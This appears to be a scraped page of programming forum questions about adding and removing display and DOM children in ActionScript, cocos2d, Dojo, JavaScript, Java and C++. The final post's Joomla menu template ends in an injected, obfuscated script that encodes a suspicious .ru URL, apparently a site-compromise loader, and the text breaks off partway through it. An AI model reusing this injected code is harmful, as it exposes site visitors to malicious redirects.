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  • Make a lives display in HUD, Flash AS3 (not text!)

    - by user40404
    I've been searching the internet all day and I can't find the answer I'm looking for. In my HUD I want to use orange dots to represent lives. The user starts off with 5 lives and every time they die, I want a dot to be removed. Pretty straight forward. So far my idea is to make a movie clip that has the five dots in a line. There would be 5 frames on the timeline (because after the last life it goes to a game over screen right away). I would have a variable set up to store the number of lives and a function to keep track of lives. So every hit of an obstacle would result in livesCounter--;. Then I would set up something like this: switch(livesCounter){ case 5: livesDisplay.gotoAndPlay(1); break; case 4: livesDisplay.gotoAndPlay(2); break; case 3: livesDisplay.gotoAndPlay(3); break; case 2: livesDisplay.gotoAndPlay(4); break; case 1: livesDisplay.gotoAndPlay(5); break; } I feel like there has to be an easier way to do this where I could just have a movie clip of a single orange dot that I could replicate across an x value based on the number of lives. Maybe the dots would be stored in an array? When the user loses a life, a dot on the right end of the line is removed. So in the end the counter would look like this: * * * * * * * * * * * * * * * (last life lost results in the end game screen) EDIT: code based on suggestions by Zhafur and Arthur Wolf White package { import flash.display.MovieClip; import flash.events.*; import flash.ui.Multitouch; import flash.ui.MultitouchInputMode; import flash.display.Sprite; import flash.text.*; import flash.utils.getTimer; public class CollisionMouse extends MovieClip{ public var mySprite:Sprite = new Sprite(); Multitouch.inputMode = MultitouchInputMode.TOUCH_POINT; public var replacement:newSprite = new newSprite; public var score:int = 0; public var obstScore:int = -50; public var targetScore:int = 200; public var startTime:uint = 0; public var gameTime:uint; public var pauseScreen:PauseScreen = new PauseScreen(); public var hitTarget:Boolean = false; public var hitObj:Boolean = false; public var currLevel:Number = 1; public var heroLives:int = 5; public var life:Sprite; public function CollisionMouse() { mySprite.graphics.beginFill(0xff0000); mySprite.graphics.drawRect(0,0,40,40); addChild(mySprite); mySprite.x = 200; mySprite.y = 200; pauseScreen.x = stage.width/2; pauseScreen.y = stage.height/2; life = new Sprite(); life.x = 210; stage.addEventListener(MouseEvent.MOUSE_MOVE,followMouse); /*mySprite.addEventListener(TouchEvent.TOUCH_END, onTouchEnd);*/ //checkLevel(); timeCheck(); trackLives(); } public function timeCheck(){ addEventListener(Event.ENTER_FRAME, showTime); } public function showTime(e:Event) { gameTime = getTimer()-startTime; rm1_mc.timeDisplay.text = clockTime(gameTime); rm1_mc.livesDisplay.text = String(heroLives); } public function clockTime(ms:int) { var seconds:int = Math.floor(ms/1000); var minutes:int = Math.floor(seconds/60); seconds -= minutes*60; var timeString:String = minutes+":"+String(seconds+100).substr(1,2); return timeString; } public function trackLives(){ for(var i:int=0; i<heroLives; i++){ life.graphics.lineStyle(1, 0xff9900); life.graphics.beginFill(0xff9900, 1); life.graphics.drawCircle(i*15, 45, 6); life.graphics.endFill(); addChild(life); } } function followMouse(e:MouseEvent){ mySprite.x=mouseX; mySprite.y=mouseY; trackCollisions(); } function trackCollisions(){ if(mySprite.hitTestObject(rm1_mc.obst1) || mySprite.hitTestObject(rm1_mc.obst2)){ hitObjects(); } else if(mySprite.hitTestObject(rm1_mc.target_mc)){ hitTarg(); } } function hitObjects(){ addChild(replacement); mySprite.x ^= replacement.x; replacement.x ^= mySprite.x; mySprite.x ^= replacement.x; mySprite.y ^= replacement.y; replacement.y ^= mySprite.y; mySprite.y ^= replacement.y; stage.removeEventListener(MouseEvent.MOUSE_MOVE, followMouse); removeChild(mySprite); hitObj = true; checkScore(); } function hitTarg(){ addChild(replacement); mySprite.x ^= replacement.x; replacement.x ^= mySprite.x; mySprite.x ^= replacement.x; mySprite.y ^= replacement.y; replacement.y ^= mySprite.y; mySprite.y ^= replacement.y; stage.removeEventListener(MouseEvent.MOUSE_MOVE, followMouse); removeEventListener(Event.ENTER_FRAME, showTime); removeChild(mySprite); hitTarget = true; currLevel++; checkScore(); } function checkScore(){ if(hitObj){ score += obstScore; heroLives--; removeChild(life); } else if(hitTarget){ score += targetScore; } rm1_mc.scoreDisplay.text = String(score); rm1_mc.livesDisplay.text = String(heroLives); trackLives(); } } }

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  • Game Over function is not working Starling

    - by aNgeLyN omar
    I've been following a tutorial over the web but it somehow did not show something about creating a game over function. I am new to the Starling framework and Actionscript so I'm kind of still trying to find a way to make it work. Here's the complete snippet of the code. package screens { import flash.geom.Rectangle; import flash.utils.getTimer; import events.NavigationEvent; import objects.GameBackground; import objects.Hero; import objects.Item; import objects.Obstacle; import starling.display.Button; import starling.display.Image; import starling.display.Sprite; import starling.events.Event; import starling.events.Touch; import starling.events.TouchEvent; import starling.text.TextField; import starling.utils.deg2rad; public class InGame extends Sprite { private var screenInGame:InGame; private var screenWelcome:Welcome; private var startButton:Button; private var playAgain:Button; private var bg:GameBackground; private var hero:Hero; private var timePrevious:Number; private var timeCurrent:Number; private var elapsed:Number; private var gameState:String; private var playerSpeed:Number = 0; private var hitObstacle:Number = 0; private const MIN_SPEED:Number = 650; private var scoreDistance:int; private var obstacleGapCount:int; private var gameArea:Rectangle; private var touch:Touch; private var touchX:Number; private var touchY:Number; private var obstaclesToAnimate:Vector.<Obstacle>; private var itemsToAnimate:Vector.<Item>; private var scoreText:TextField; private var remainingLives:TextField; private var gameOverText:TextField; private var iconSmall:Image; static private var lives:Number = 2; public function InGame() { super(); this.addEventListener(starling.events.Event.ADDED_TO_STAGE, onAddedToStage); } private function onAddedToStage(event:Event):void { this.removeEventListener(Event.ADDED_TO_STAGE, onAddedToStage); drawGame(); scoreText = new TextField(300, 100, "Score: 0", "MyFontName", 35, 0xD9D919, true); remainingLives = new TextField(600, 100, "Lives: " + lives +" X ", "MyFontName", 35, 0xD9D919, true); iconSmall = new Image(Assets.getAtlas().getTexture("darnahead1")); iconSmall.x = 360; iconSmall.y = 40; this.addChild(iconSmall); this.addChild(scoreText); this.addChild(remainingLives); } private function drawGame():void { bg = new GameBackground(); this.addChild(bg); hero = new Hero(); hero.x = stage.stageHeight / 2; hero.y = stage.stageWidth / 2; this.addChild(hero); startButton = new Button(Assets.getAtlas().getTexture("startButton")); startButton.x = stage.stageWidth * 0.5 - startButton.width * 0.5; startButton.y = stage.stageHeight * 0.5 - startButton.height * 0.5; this.addChild(startButton); gameArea = new Rectangle(0, 100, stage.stageWidth, stage.stageHeight - 250); } public function disposeTemporarily():void { this.visible = false; } public function initialize():void { this.visible = true; this.addEventListener(Event.ENTER_FRAME, checkElapsed); hero.x = -stage.stageWidth; hero.y = stage.stageHeight * 0.5; gameState ="idle"; playerSpeed = 0; hitObstacle = 0; bg.speed = 0; scoreDistance = 0; obstacleGapCount = 0; obstaclesToAnimate = new Vector.<Obstacle>(); itemsToAnimate = new Vector.<Item>(); startButton.addEventListener(Event.TRIGGERED, onStartButtonClick); //var mainStage:InGame =InGame.current.nativeStage; //mainStage.dispatchEvent(new Event(Event.COMPLETE)); //playAgain.addEventListener(Event.TRIGGERED, onRetry); } private function onStartButtonClick(event:Event):void { startButton.visible = false; startButton.removeEventListener(Event.TRIGGERED, onStartButtonClick); launchHero(); } private function launchHero():void { this.addEventListener(TouchEvent.TOUCH, onTouch); this.addEventListener(Event.ENTER_FRAME, onGameTick); } private function onTouch(event:TouchEvent):void { touch = event.getTouch(stage); touchX = touch.globalX; touchY = touch.globalY; } private function onGameTick(event:Event):void { switch(gameState) { case "idle": if(hero.x < stage.stageWidth * 0.5 * 0.5) { hero.x += ((stage.stageWidth * 0.5 * 0.5 + 10) - hero.x) * 0.05; hero.y = stage.stageHeight * 0.5; playerSpeed += (MIN_SPEED - playerSpeed) * 0.05; bg.speed = playerSpeed * elapsed; } else { gameState = "flying"; } break; case "flying": if(hitObstacle <= 0) { hero.y -= (hero.y - touchY) * 0.1; if(-(hero.y - touchY) < 150 && -(hero.y - touchY) > -150) { hero.rotation = deg2rad(-(hero.y - touchY) * 0.2); } if(hero.y > gameArea.bottom - hero.height * 0.5) { hero.y = gameArea.bottom - hero.height * 0.5; hero.rotation = deg2rad(0); } if(hero.y < gameArea.top + hero.height * 0.5) { hero.y = gameArea.top + hero.height * 0.5; hero.rotation = deg2rad(0); } } else { hitObstacle-- cameraShake(); } playerSpeed -= (playerSpeed - MIN_SPEED) * 0.01; bg.speed = playerSpeed * elapsed; scoreDistance += (playerSpeed * elapsed) * 0.1; scoreText.text = "Score: " + scoreDistance; initObstacle(); animateObstacles(); createEggItems(); animateItems(); remainingLives.text = "Lives: "+lives + " X "; if(lives == 0) { gameState = "over"; } break; case "over": gameOver(); break; } } private function gameOver():void { gameOverText = new TextField(800, 400, "Hero WAS KILLED!!!", "MyFontName", 50, 0xD9D919, true); scoreText = new TextField(800, 600, "Score: "+scoreDistance, "MyFontName", 30, 0xFFFFFF, true); this.addChild(scoreText); this.addChild(gameOverText); playAgain = new Button(Assets.getAtlas().getTexture("button_tryAgain")); playAgain.x = stage.stageWidth * 0.5 - startButton.width * 0.5; playAgain.y = stage.stageHeight * 0.75 - startButton.height * 0.75; this.addChild(playAgain); playAgain.addEventListener(Event.TRIGGERED, onRetry); } private function onRetry(event:Event):void { playAgain.visible = false; gameOverText.visible = false; scoreText.visible = false; var btnClicked:Button = event.target as Button; if((btnClicked as Button) == playAgain) { this.dispatchEvent(new NavigationEvent(NavigationEvent.CHANGE_SCREEN, {id: "playnow"}, true)); } disposeTemporarily(); } private function animateItems():void { var itemToTrack:Item; for(var i:uint = 0; i < itemsToAnimate.length; i++) { itemToTrack = itemsToAnimate[i]; itemToTrack.x -= playerSpeed * elapsed; if(itemToTrack.bounds.intersects(hero.bounds)) { itemsToAnimate.splice(i, 1); this.removeChild(itemToTrack); } if(itemToTrack.x < -50) { itemsToAnimate.splice(i, 1); this.removeChild(itemToTrack); } } } private function createEggItems():void { if(Math.random() > 0.95){ var itemToTrack:Item = new Item(Math.ceil(Math.random() * 10)); itemToTrack.x = stage.stageWidth + 50; itemToTrack.y = int(Math.random() * (gameArea.bottom - gameArea.top)) + gameArea.top; this.addChild(itemToTrack); itemsToAnimate.push(itemToTrack); } } private function cameraShake():void { if(hitObstacle > 0) { this.x = Math.random() * hitObstacle; this.y = Math.random() * hitObstacle; } else if(x != 0) { this.x = 0; this.y = 0; lives--; } } private function initObstacle():void { if(obstacleGapCount < 1200) { obstacleGapCount += playerSpeed * elapsed; } else if(obstacleGapCount !=0) { obstacleGapCount = 0; createObstacle(Math.ceil(Math.random() * 5), Math.random() * 1000 + 1000); } } private function animateObstacles():void { var obstacleToTrack:Obstacle; for(var i:uint = 0; i<obstaclesToAnimate.length; i++) { obstacleToTrack = obstaclesToAnimate[i]; if(obstacleToTrack.alreadyHit == false && obstacleToTrack.bounds.intersects(hero.bounds)) { obstacleToTrack.alreadyHit = true; obstacleToTrack.rotation = deg2rad(70); hitObstacle = 30; playerSpeed *= 0.5; } if(obstacleToTrack.distance > 0) { obstacleToTrack.distance -= playerSpeed * elapsed; } else { if(obstacleToTrack.watchOut) { obstacleToTrack.watchOut = false; } obstacleToTrack.x -= (playerSpeed + obstacleToTrack.speed) * elapsed; } if(obstacleToTrack.x < -obstacleToTrack.width || gameState == "over") { obstaclesToAnimate.splice(i, 1); this.removeChild(obstacleToTrack); } } } private function checkElapsed(event:Event):void { timePrevious = timeCurrent; timeCurrent = getTimer(); elapsed = (timeCurrent - timePrevious) * 0.001; } private function createObstacle(type:Number, distance:Number):void{ var obstacle:Obstacle = new Obstacle(type, distance, true, 300); obstacle.x = stage.stageWidth; this.addChild(obstacle); if(type >= 4) { if(Math.random() > 0.5) { obstacle.y = gameArea.top; obstacle.position = "top" } else { obstacle.y = gameArea.bottom - obstacle.height; obstacle.position = "bottom"; } } else { obstacle.y = int(Math.random() * (gameArea.bottom - obstacle.height - gameArea.top)) + gameArea.top; obstacle.position = "middle"; } obstaclesToAnimate.push(obstacle); } } }

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  • How to create array with unique sprites? in cocos2d iphone

    - by prakash s
    I write the code like this. This displays only one sprite (red colour bubble) with number of times and moving down, but actually I want to display different sprites (different colour bubble) every time and moving down. I also add no of .png images in resource folder of my project. Here I used only 3.png, but I need to display all *.png images (different colour bubbles) in my project but I don't know how to get this. Please help me Thank you. Here is the code: -(void)addTarget { CCSprite *target = [CCSprite spriteWithFile:@"3.png" rect:CGRectMake(0, 0, 256, 256)]; CGSize winSize = [[CCDirector sharedDirector] winSize]; int minY = target.contentSize.height/2; int maxY = winSize.height - target.contentSize.height/2; int rangeY = maxY - minY; int actualY = (arc4random() % rangeY) + minY; // Create the target slightly off-screen along the right edge, // and along a random position along the Y axis as calculated above target.position = ccp(winSize.width + (target.contentSize.width/2), actualY); [self addChild:target]; // Determine speed of the target int minDuration = 4.0; int maxDuration = 12.0; int rangeDuration = maxDuration - minDuration; int actualDuration = (arc4random() % rangeDuration) + minDuration; // Create the actions id actionMove = [CCMoveTo actionWithDuration:actualDuration position:ccp(-target.contentSize.width/2,actualY)]; id actionMoveDone = [CCCallFuncN actionWithTarget:self selector:@selector(spriteMoveFinished:)]; [target runAction:[CCSequence actions:actionMove, actionMoveDone, nil]]; // Add to targets array target.tag = 2; [_targets addObject:target]; } -(void)gameLogic:(ccTime)dt { [self addTarget]; } -(id) init { if( (self=[super initWithColor:ccc4(255,255,255,255)] )) { // Enable touch events self.isTouchEnabled = YES; // Initialize arrays _targets = [[NSMutableArray alloc] init]; _projectiles = [[NSMutableArray alloc] init]; // Get the dimensions of the window for calculation purposes CGSize winSize = [[CCDirector sharedDirector] winSize]; [self schedule:@selector(gameLogic:) interval:1.0]; [self schedule:@selector(update:)]; } return self; } - (void)update:(ccTime)dt { NSMutableArray *projectilesToDelete = [[NSMutableArray alloc] init]; for (CCSprite *projectile in _projectiles) { CGRect projectileRect = CGRectMake(projectile.position.x - (projectile.contentSize.width/2), projectile.position.y - (projectile.contentSize.height/2), projectile.contentSize.width, projectile.contentSize.height); NSMutableArray *targetsToDelete = [[NSMutableArray alloc] init]; for (CCSprite *target in _targets) { CGRect targetRect = CGRectMake(target.position.x - (target.contentSize.width/2), target.position.y - (target.contentSize.height/2), target.contentSize.width, target.contentSize.height); if (CGRectIntersectsRect(projectileRect, targetRect)) { [targetsToDelete addObject:target]; } } for (CCSprite *target in targetsToDelete) { [_targets removeObject:target]; [self removeChild:target cleanup:YES]; _projectilesDestroyed++; if (_projectilesDestroyed > 30) { //GameOverScene *gameOverScene = [GameOverScene node]; // [gameOverScene.layer.label setString:@"You Win!"]; // [[CCDirector sharedDirector] replaceScene:gameOverScene]; } } if (targetsToDelete.count > 0) { [projectilesToDelete addObject:projectile]; } [targetsToDelete release]; } for (CCSprite *projectile in projectilesToDelete) { [_projectiles removeObject:projectile]; [self removeChild:projectile cleanup:YES]; } [projectilesToDelete release]; }

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  • actionscript 3 addchild within child and fade

    - by steve
    Here is my current code: import flash.display.*; import fl.transitions.*; import flash.events.MouseEvent; stop(); var container:MovieClip = new MovieClip(); container.width = 450; container.height = 450; container.x = 450; container.y = 0; var closeBtn:close_btn = new close_btn(); closeBtn.x = 850; closeBtn.y = 15; var bagLink:MovieClip = new bag_link_mc(); bagLink.x = 900; bagLink.y = 0; menu_bag_button.addEventListener(MouseEvent.CLICK, bagClick); function bagClick(event:MouseEvent):void{ if(MovieClip(root).currentFrame == 850) { } else { MovieClip(root).addChild (bagLink); MovieClip(root).addChild (closeBtn); MovieClip(root).gotoAndPlay(806); } } closeBtn.addEventListener(MouseEvent.CLICK, closeBag); function closeBag (event:MouseEvent):void{ MovieClip(root).removeChild(bagLink); MovieClip(root).removeChild(closeBtn); MovieClip(root).gotoAndPlay(850); } I need the first mouse function (bagClick) to create the bagLink within the container movieclip variable. I tried change it to this, but it didn't work: else { MovieClip(root).addchild (container); MovieClip(root).container.addChild (bagLink); MovieClip(root).addChild (closeBtn); MovieClip(root).gotoAndPlay(806); } I'm also trying to make "container" or "bagLink" fade in when it loads but that doesn't work either. Any help is appreciated.

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  • actionscript 3 addchild within child and fade

    - by steve
    Here is my current code: import flash.display.*; import fl.transitions.*; import flash.events.MouseEvent; stop(); var container:MovieClip = new MovieClip(); container.width = 450; container.height = 450; container.x = 450; container.y = 0; var closeBtn:close_btn = new close_btn(); closeBtn.x = 850; closeBtn.y = 15; var bagLink:MovieClip = new bag_link_mc(); bagLink.x = 900; bagLink.y = 0; menu_bag_button.addEventListener(MouseEvent.CLICK, bagClick); function bagClick(event:MouseEvent):void{ if(MovieClip(root).currentFrame == 850) { } else { MovieClip(root).addChild (bagLink); MovieClip(root).addChild (closeBtn); MovieClip(root).gotoAndPlay(806); } } closeBtn.addEventListener(MouseEvent.CLICK, closeBag); function closeBag (event:MouseEvent):void{ MovieClip(root).removeChild(bagLink); MovieClip(root).removeChild(closeBtn); MovieClip(root).gotoAndPlay(850); } I need the first mouse function (bagClick) to create the bagLink within the container movieclip variable. I tried change it to this, but it didn't work: else { MovieClip(root).addchild (container); MovieClip(root).container.addChild (bagLink); MovieClip(root).addChild (closeBtn); MovieClip(root).gotoAndPlay(806); } I'm also trying to make "container" or "bagLink" fade in when it loads but that doesn't work either. Any help is appreciated.

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  • Using events in an external swf to load a new external swf

    - by wdense51
    Hi I'm trying to get an external swf to load when the flv content of another external swf finishes playing. I've only been using actiosncript 3 for about a week and I've got to this point from tutorials, so my knowledge is limited. This is what I've got so far: Code for External swf (with flv content): import fl.video.FLVPlayback; import fl.video.VideoEvent; motionClip.playPauseButton = player; motionClip.seekBar = seeker; motionClip.addEventListener(VideoEvent.COMPLETE, goNext); function goNext(e:VideoEvent):void { nextFrame(); } And this is the code for the main file: var Xpos:Number=110; var Ypos:Number=110; var swf_MC:MovieClip = new MovieClip(); var loader:Loader = new Loader(); var defaultSWF:URLRequest = new URLRequest("arch_reel.swf"); addChild (swf_MC); swf_MC.x=Xpos swf_MC.y=Ypos loader.load(defaultSWF); swf_MC.addChild(loader); //Btns Universal Function function btnClick(event:MouseEvent):void{ SoundMixer.stopAll(); swf_MC.removeChild(loader); var newSWFRequest:URLRequest = new URLRequest("motion.swf"); loader.load(newSWFRequest); swf_MC.addChild(loader); } function returnSWF(event:Event):void{ swf_MC.removeChild(loader); loader.load(defaultSWF); swf_MC.addChild(loader); } //Btn Listeners motion.addEventListener(MouseEvent.CLICK,btnClick); swf_MC.addEventListener(swf_MC.motionClip.Event.COMPLETE,swf_MC.motionClip.eventClip, returnSWF); I'm starting to get an understanding of how all of this works, but it's all to new to me at the moment, so I'm sure I've approached it from the wrong angle. Any help would be fantastic, as I've been trying at this for a few days now. Thanks

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  • Programmatically controlling a Dojo Accordion

    - by prule
    I have a dijit.layout.AccordionContainer on my page which is defined in the html and created when dojo parses the page on load. Then, as the user interacts with the page I use Ajax to retrieve data and programmatically populate the container (removing existing items first). To illustrate my issue simply, here is some code that doesn't work: function doit() { var accordion = dijit.byId("accordionShell"); accordion.getChildren().each(function(item) { accordion.removeChild(item); }); for (i = 1; i < 5; i++) { var d = new dijit.layout.AccordionPane({title:'hello', content:'world'}); accordion.addChild(d); } } This fails, because only the first item in the accordian is visible. I think the others actually exist, but they are not visible so you can't do anything. I've managed to get around it by: Always ensuring there is 1 item in the accordian (so I never remove the first child) Call accordian.layout() after changing the contents So, this code "works" as long as you always want to see the first item, and don't actually expand any but the first one: function doit() { var accordion = dijit.byId("accordionShell"); var i = 0; accordion.getChildren().each(function(item) { if (i > 0) accordion.removeChild(item); i++; }); for (i = 1; i < 5; i++) { var d = new dijit.layout.AccordionPane({title:'hello', content:'world'}); accordion.addChild(d); } accordion.layout(); } I am using Dojo 1.2.0 - Anyone know what I am doing wrong?

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  • addChild to root and fade in

    - by steve
    Still very newbish at Actionscript. Trying to get a website done for class on wednesday, but I can't get this one thing down. Currently there's the main timeline, then a movieclip called menu_mc, and within that are a bunch of buttons. For now, I only have one button scripted. When the button is scripted, I want a movieclip with content embedded in it to fade in on the right side, along with a close button. I can get the movie/button to appear and close, but I can't get them to fade in and out. This is what I have: import flash.display.*; import fl.transitions.*; import flash.events.MouseEvent; stop(); var closeBtn:close_btn = new close_btn(); closeBtn.x = 850; closeBtn.y = 15; var bagLink:MovieClip = new bag_link_mc(); bagLink.x = 900; bagLink.y = 0; menu_bag_button.addEventListener(MouseEvent.CLICK, bagClick); function bagClick(event:MouseEvent):void{ if(MovieClip(root).currentFrame == 850) { } else { MovieClip(root).addChild (bagLink); MovieClip(root).addChild (closeBtn); MovieClip(root).gotoAndPlay(806); } } closeBtn.addEventListener(MouseEvent.CLICK, closeBag); function closeBag (event:MouseEvent):void{ MovieClip(root).removeChild(bagLink); MovieClip(root).removeChild(closeBtn); MovieClip(root).gotoAndPlay(850); }

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  • Issue editing class style properties using js - issue is with IE

    - by Nick
    I have a function to edit the style properties of a class Unfortunately IE does not seem to like it but it does not give me an error. Does anyone know what the issue is? Thanks in advance function myRemoveElement(id) { var Node = document.getElementById(id); Node.parentNode.removeChild(Node); } function boolyChangeFoo(width1, width2, width3, width4) { if(typeof style == 'undefined') { var append = true; myStyle = document.createElement('style'); } else { while (myStyle.hasChildNodes()) { myStyle.removeChild(myStyle.firstChild); } } if (document.getElementById('my_custom_styles')) { myRemoveElement('my_custom_styles'); } var head = document.getElementById('myltd_popup_1'); var rules = document.createTextNode('.my_price_comp_inner { width: ' + width1 + '}' + '.merch_coupons_summary { width: ' + width2 + '}' + '.merch_coupons_data { width: ' + width3 + '}' + '.my_coupon_prod_item { width: ' + width4 + '}' ); myStyle.setAttribute('type','text/css'); myStyle.setAttribute('id', 'my_custom_styles'); if(myStyle.styleSheet) { myStyle.styleSheet.cssText = rules.nodeValue; } else { myStyle.appendChild(rules); } //alert(myStyle); if(append === true) head.appendChild(myStyle); }

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  • Vector ArrayIndexOutOfBounds

    - by Esmond
    I'm having an ArrayIndexOutofBounds exception with the following code. The exception is thrown at the line where Node nodeJ = vect.get(j) but it does not make sense to me since j is definitely smaller than i and Node nodeI = vect.get(i) does not throw any exception. any help is appreciated. public static Vector join(Vector vect) throws ItemNotFoundException { Vector<Node> remain = vect; for (int i = 1; i < vect.size(); i++) { Node nodeI = vect.get(i); for (int j = 0; j < i; j++) {//traverse the nodes before nodeI Node nodeJ = vect.get(j); if (nodeI.getChild1().getSeq().equals(nodeJ.getSeq())) { nodeI.removeChild(nodeJ); nodeI.setChild(nodeJ); remain.remove(j); } if (nodeI.getChild2().getSeq().equals(nodeJ.getSeq())) { nodeI.removeChild(nodeJ); nodeI.setChild(nodeJ); remain.remove(j); } } } return remain; }

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  • Dynamic width of DIV (offsetWidth issue).

    - by Tom
    Hi all, I face issue with retrieving (via javascript) width of the div which content is changed (just before reading the widht via offsetWidth) in dynamic way (via changing innerHTML or using createTextNode). Here is some sample code: var con = document.getElementById('avContent'); //content div within page var temp = document.createElement('div');<br /> var text1 = document.createTextNode('CCCCC');<br /> temp.appendChild(text1);<br /> con.appendChild(temp);<br /> var length1 = temp.offsetWidth;<br /> var text2 = document.createTextNode('CCCCC33333333vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv');<br /> temp.removeChild(text1);<br /> temp.appendChild(text2);<br /> con.removeChild(temp);<br /> con.appendChild(temp); var length2 = temp.offsetWidth;<br /> The length1 and length2 do have the same width.. (the same result I get while using innerHTML instead of createTextNode). Looks like it's the same issue like described in following discussion: http://www.webdeveloper.com/forum/showthread.php?t=187716 Does anybody have answer (work around)? Thanks much for help in advance.

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  • My website keeps crashing IE, can't debug

    - by Ninja rhino
    I have a website that suddenly started to crash internet explorer. The website loads and starts executing javascript but somewhere in there the machinery explodes. I don't even get a script error, it just crashes. I've tried to manually step through every single line of js with the built in debugger but then of course the problem doesn't occur. If i choose to debug the application when it crashes i see the following message. Unhandled exception at 0x6c5dedf5 in iexplore.exe: 0xC0000005: Access violation reading location 0x00000090. The top 5 items in the call stack looks like this VGX.dll!6c5dedf5() [Frames below may be incorrect and/or missing, no symbols loaded for VGX.dll] VGX.dll!6c594d70() VGX.dll!6c594f63() VGX.dll!6c595350() VGX.dll!6c58f5e3() mshtml.dll!6f88dd17() VGX.dll seems to be part of the vml renderer and i am in fact using VML. I'm not suprised because i've had so many problems with vml, attributes has to be set in specific order, sometimes you cant set attributes when you have elements attached to the dom or vice versa (everything undocumented btw) but then the problems can usually be reproduced when debugging but not now :( The problem also occurs in no plugin-mode. Is there a better approach than trial and error to solve this? Edit: Adding a console outputting every suspect modification to the DOM made the problem only occur sometimes. (the console is also implemented in javascript on the same page, i'm able to see the output even after a crash as the window is still visible) Apparently it seems to be some kind of race condition. I managed to track it down even further, and it seems to occur when you remove an object from the DOM too quickly after it's just been added. (most likely only for vml-elements with some special attribute, didn't try further) And it can't be fixed by adding a dead loop in front of removeChild(pretty bad solution anyway), the page has to be rendered by the browser once after the addChild before you can call removeChild. sigh

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  • Should a "script" tag be allowed to remove itself?

    - by Nischal
    We've been having a discussion at our workplace on this with some for and some against the behavior. Wanted to hear views from you guys : <html> <body> <div> Test! <script> document.body.removeChild(document.getElementsByTagName('div')[0]); </script> </div> </body> </html> Should the above script work and do what it's supposed to do? First, let's see what's happening here : I have a javascript that's inside the <div> element. This javascript will delete the child node within body which happens to hold the div inside which the script itself exists. Now, the above script works fine in Firefox, Opera and IE8. But IE6 and IE7 give an alert saying they cannot open the page. Let's not debate on how IE should have handled this (they've accepted it as a bug and hence fixed it in IE8). The point here is since the 'SCRIPT' tag itself is a part of DOM, should it be allowed to do something like this? Should it even exist after such an operation? Edit: Firefox, Opera, IE9 etc. do not remove the 'script' tag if I run the above code. But, document.getElementsByTagName('script').length returns 0! To understand what I mean, add alert(document.getElementsByTagName('script').length); before and after document.body.removeChild(document.getElementsByTagName('div')[0]); in the code above.

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  • C++ Segmentation Fault when Iterating through a Vector

    - by user1790374
    I have a program that maintains an integer vector. I have three functions that add an integer, remove an integer and check whether an integer is already in the vector. The problem is with the last one. vector<int> children; void CtpTestingApplication::addChild(int child) { for (int i=0; i<children.size(); i++) { //already a child if (children[i]==child) return; } //child not yet recorded children.push_back(child); received.push_back(false); cout<<"added child "<<child; } void CtpTestingApplication::removeChild(int child) { Enter_Method("removeChild"); for (int i=0; i<children.size(); i++) { //already a child, remove it if (children[i]==child) { children.erase(children.begin()+i); received.erase(received.begin()+i); cout<<"removed child "<<child; } } //not recorded, no need to remove } bool CtpTestingApplication::isChild(int child) { Enter_Method("isChild"); vector<int>::iterator ic; bool result = false; for (ic= children.begin(); ic < children.end(); ic++) { cout<<*ic<<" vs "<<child; // if (child==*ic) result = true; } return result; } I always get segmentation fault when I uncomment "if (child==*ic)", even though printouts show that the vector is not empty and contains the expected integers. For example, with the if statements commented, I can see 1 vs 4, 2 vs 4, 4 vs 4, 12 vs 4 I also attempted looping using children[i] and so on, but to no avail. Any help would be appreciated. Thank you.

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  • Parse error: syntax error, unexpected '<' in /home/future/public_html/modules/mod_mainmenu/tmpl/defa

    - by kofi
    I'm unfortunately having an unknown error with my php file. (for joomla 1.5) I don't seem to get what's wrong. This is my entire code, with an apparent error on line 84. Would appreciate some feedback, thanks. <?php // no direct access defined('_JEXEC') or die('Restricted access'); if ( ! defined('modMainMenuXMLCallbackDefined') ) { function modMainMenuXMLCallback(&$node, $args) { $user = &JFactory::getUser(); $menu = &JSite::getMenu(); $active = $menu->getActive(); $path = isset($active) ? array_reverse($active->tree) : null; if (($args['end']) && ($node->attributes('level') >= $args['end'])) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } if ($node->name() == 'ul') { foreach ($node->children() as $child) { if ($child->attributes('access') > $user->get('aid', 0)) { $node->removeChild($child); } } } if (($node->name() == 'li') && isset($node->ul)) { $node->addAttribute('class', 'parent'); } if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' active'); } else { $node->addAttribute('class', 'active'); } } else { if (isset($args['children']) && !$args['children']) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } } if (($node->name() == 'li') && ($id = $node->attributes('id'))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' item'.$id); } else { $node->addAttribute('class', 'item'.$id); } } if (isset($path) && $node->attributes('id') == $path[0]) { $node->addAttribute('id', 'current'); } else { $node->removeAttribute('id'); } $node->removeAttribute('rel'); $node->removeAttribute('level'); $node->removeAttribute('access'); } define('modMainMenuXMLCallbackDefined', true); } modMainMenuHelper::render($params, 'modMainMenuXMLCallback'); <script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var 